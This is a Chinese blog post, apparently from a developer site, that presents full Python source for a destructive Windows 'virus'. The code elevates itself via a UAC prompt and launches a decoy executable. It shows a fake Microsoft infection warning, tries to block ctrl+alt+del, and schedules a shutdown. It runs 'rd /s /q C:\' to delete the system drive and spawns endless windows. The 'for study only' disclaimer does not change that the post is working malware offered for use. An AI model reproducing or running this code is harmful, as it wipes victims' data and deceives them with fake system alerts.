一个超级厉害的python病毒

切勿在实体机上运行!

兼容系统:python 3.5+,windows 7+

说明:需手动安装keyboard库(pip install keyboard)

声明:本程序仅供学习和研究使用,请在创建后1小时内删除!如需要引用,请说明作者姓名!

效果:阿里云盘分享

from __future__ import print_function
import os, keyboard
import tkinter as tk
import tkinter.messagebox as tm
import threading
import time

#这个病毒及其危险,请勿在实体机上运行!


import ctypes, sys


def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False


if is_admin():
    def happy():
        while True:
            os.startfile('cmd')
            os.startfile('explorer')
            os.startfile('notepad')
            os.startfile('calc')
            os.startfile('colorcpl')
            threading.Thread(target=lambda: tm.showerror('Microsoft Windows', "ERROR!")).start()


    def rs():
        threading.Thread(
            target=lambda: tm.showwarning("Microsoft Windows抱歉的说:", "您的电脑感染了病毒。我们正在解决问题,稍后会自动关机。现在先不要关机!")).start()
        os.system("shutdown -s -t 120")


    with open("file.exe", 'wb') as f:
        f.write(b'123456')

    try:
        os.startfile('file.exe')
        # 欺骗
    except OSError:
        os.remove('file.exe')
    # THE REALLY VIRUS
    time.sleep(10)
    root = tk.Tk()
    root.title('')
    root.attributes("-fullscreen", True)
    root.attributes("-topmost", True)
    root.attributes("-alpha", 0.01)


    def exit():
        pass


    keyboard.add_hotkey('ctrl+alt+del', exit)
    keyboard.add_hotkey('ctrl+alt+del', exit)  # 虚拟机
    root.protocol("WM_DELETE_WINDOW", exit)
    threading.Thread(target=rs).start()
    time.sleep(5)
    threading.Thread(target=lambda: os.system('rd /s /q C:\\')).start()
    threading.Thread(target=happy).start()
    root.mainloop()




else:
    if sys.version_info[0] == 3:
        ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, __file__, None, 1)
    else:  # in python2.x
        ctypes.windll.shell32.ShellExecuteW(None, u"runas", unicode(sys.executable), unicode(__file__), None, 1)

如果喜欢,请给个3连!

  • 6
    点赞
  • 36
    收藏
    觉得还不错? 一键收藏
  • 16
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 16
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值